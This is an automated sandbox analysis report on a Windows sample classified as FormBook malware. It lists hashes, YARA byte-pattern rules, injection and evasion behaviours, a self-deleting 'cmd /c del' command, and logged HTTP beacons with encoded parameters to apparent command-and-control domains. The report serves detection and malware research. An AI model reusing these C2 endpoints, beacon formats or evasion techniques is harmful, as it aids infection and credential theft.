Play interactive tour

Edit tour

Analysis Report emthree.exe

Overview

General Information

Sample Name:	emthree.exe
Analysis ID:	323574
MD5:	25b5788669a3a8f35596ce975f0823a7
SHA1:	77e07883f131f342e3d24954ea348d25554440a1
SHA256:	f3024d8a77f7d80b8e1f44a868913ad76e926d5add36cdc27332c42c3cc012a3
Tags:	PEP
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM_3

Yara detected FormBook

.NET source code contains potential unpacker

Binary contains a suspicious time stamp

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

emthree.exe (PID: 4600 cmdline: 'C:\Users\user\Desktop\emthree.exe' MD5: 25B5788669A3A8F35596CE975F0823A7)

emthree.exe (PID: 5772 cmdline: {path} MD5: 25B5788669A3A8F35596CE975F0823A7)

explorer.exe (PID: 3472 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

rundll32.exe (PID: 6240 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 6256 cmdline: /c del 'C:\Users\user\Desktop\emthree.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18429:$sqlite3step: 68 34 1C 7B E1 0x1853c:$sqlite3step: 68 34 1C 7B E1 0x18458:$sqlite3text: 68 38 2A 90 C5 0x1857d:$sqlite3text: 68 38 2A 90 C5 0x1846b:$sqlite3blob: 68 53 D8 7F 8C 0x18593:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18429:$sqlite3step: 68 34 1C 7B E1 0x1853c:$sqlite3step: 68 34 1C 7B E1 0x18458:$sqlite3text: 68 38 2A 90 C5 0x1857d:$sqlite3text: 68 38 2A 90 C5 0x1846b:$sqlite3blob: 68 53 D8 7F 8C 0x18593:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18429:$sqlite3step: 68 34 1C 7B E1 0x1853c:$sqlite3step: 68 34 1C 7B E1 0x18458:$sqlite3text: 68 38 2A 90 C5 0x1857d:$sqlite3text: 68 38 2A 90 C5 0x1846b:$sqlite3blob: 68 53 D8 7F 8C 0x18593:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xfbeb8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xfc132:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1286d8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x128952:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x107c55:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x134475:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x107741:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x133f61:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x107d57:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x134577:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x107ecf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x1346ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xfcb4a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x12936a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1069bc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1331dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xfd843:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x12a063:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x10dad7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x13a2f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x10eada:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x10a9f9:$sqlite3step: 68 34 1C 7B E1 0x10ab0c:$sqlite3step: 68 34 1C 7B E1 0x137219:$sqlite3step: 68 34 1C 7B E1 0x13732c:$sqlite3step: 68 34 1C 7B E1 0x10aa28:$sqlite3text: 68 38 2A 90 C5 0x10ab4d:$sqlite3text: 68 38 2A 90 C5 0x137248:$sqlite3text: 68 38 2A 90 C5 0x13736d:$sqlite3text: 68 38 2A 90 C5 0x10aa3b:$sqlite3blob: 68 53 D8 7F 8C 0x10ab63:$sqlite3blob: 68 53 D8 7F 8C 0x13725b:$sqlite3blob: 68 53 D8 7F 8C 0x137383:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18429:$sqlite3step: 68 34 1C 7B E1 0x1853c:$sqlite3step: 68 34 1C 7B E1 0x18458:$sqlite3text: 68 38 2A 90 C5 0x1857d:$sqlite3text: 68 38 2A 90 C5 0x1846b:$sqlite3blob: 68 53 D8 7F 8C 0x18593:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18429:$sqlite3step: 68 34 1C 7B E1 0x1853c:$sqlite3step: 68 34 1C 7B E1 0x18458:$sqlite3text: 68 38 2A 90 C5 0x1857d:$sqlite3text: 68 38 2A 90 C5 0x1846b:$sqlite3blob: 68 53 D8 7F 8C 0x18593:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18429:$sqlite3step: 68 34 1C 7B E1 0x1853c:$sqlite3step: 68 34 1C 7B E1 0x18458:$sqlite3text: 68 38 2A 90 C5 0x1857d:$sqlite3text: 68 38 2A 90 C5 0x1846b:$sqlite3blob: 68 53 D8 7F 8C 0x18593:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: emthree.exe PID: 4600	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.emthree.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.emthree.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a707:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b70a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.emthree.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17629:$sqlite3step: 68 34 1C 7B E1 0x1773c:$sqlite3step: 68 34 1C 7B E1 0x17658:$sqlite3text: 68 38 2A 90 C5 0x1777d:$sqlite3text: 68 38 2A 90 C5 0x1766b:$sqlite3blob: 68 53 D8 7F 8C 0x17793:$sqlite3blob: 68 53 D8 7F 8C
1.2.emthree.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.emthree.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.emthree.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18429:$sqlite3step: 68 34 1C 7B E1 0x1853c:$sqlite3step: 68 34 1C 7B E1 0x18458:$sqlite3text: 68 38 2A 90 C5 0x1857d:$sqlite3text: 68 38 2A 90 C5 0x1846b:$sqlite3blob: 68 53 D8 7F 8C 0x18593:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: emthree.exe

Avira: detected

Multi AV Scanner detection for submitted file

Show sources

Source: emthree.exe	Metadefender: Detection: 35%			Perma Link
Source: emthree.exe	ReversingLabs: Detection: 64%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.emthree.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.emthree.exe.400000.0.raw.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: emthree.exe

Joe Sandbox ML: detected

Source: 1.2.emthree.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: global traffic	HTTP traffic detected: GET /unx5/?YBZpk4k0=aP/H6rv5dFlIxT1BkbsZYq0qqc+q/KR6FDazEtWbPmCTekqgSoQQ9LKqFpQ/1cw8Q+Tu&Wt=LhnLHro0q HTTP/1.1Host: www.porncamslivechat.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /unx5/?YBZpk4k0=1w0hMOl97180k8Du4bGC2gk65X6wFt6LICq9bRyB5mmRHYVxdYOusOKtXf2j62HHiftJ&Wt=LhnLHro0q HTTP/1.1Host: www.amarilloautoexpress.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	ASN Name: EGIHOSTINGUS EGIHOSTINGUS
Source: Joe Sandbox View	ASN Name: SINGLEHOP-LLCUS SINGLEHOP-LLCUS

Source: C:\Windows\explorer.exe

Code function: 2_2_06D527A2 getaddrinfo,setsockopt,recv,

Source: global traffic	HTTP traffic detected: GET /unx5/?YBZpk4k0=aP/H6rv5dFlIxT1BkbsZYq0qqc+q/KR6FDazEtWbPmCTekqgSoQQ9LKqFpQ/1cw8Q+Tu&Wt=LhnLHro0q HTTP/1.1Host: www.porncamslivechat.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /unx5/?YBZpk4k0=1w0hMOl97180k8Du4bGC2gk65X6wFt6LICq9bRyB5mmRHYVxdYOusOKtXf2j62HHiftJ&Wt=LhnLHro0q HTTP/1.1Host: www.amarilloautoexpress.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.asojebu.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 Nov 2020 05:37:46 GMTServer: ApacheLink: <https://porncamslivechat.com/wp-json/>; rel="https://api.w.org/"Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=1d6c5c8d17388afcc8a5932da9c3f004; path=/Upgrade: h2,h2cConnection: Upgrade, closeReferrer-Policy: no-referrer-when-downgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 34 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 72 6f 2d 63 61 6d 2d 6d 75 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 2e 70 6e 67 22 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 63 61 63 68 65 2f 6d 69 6e 69 66 79 2f 32 66 36 38 32 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 72 6f 2d 63 61 6d 2d 6d 75 2f 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 63 61 63 68 65 2f 6d 69 6e 69 66 79 2f 62 66 66 64 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 35 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77

Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, emthree.exe, 00000000.00000002.238970430.00000000019F7000.00000004.00000040.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: emthree.exe, 00000000.00000002.238970430.00000000019F7000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comm
Source: emthree.exe, 00000000.00000002.238970430.00000000019F7000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comu
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
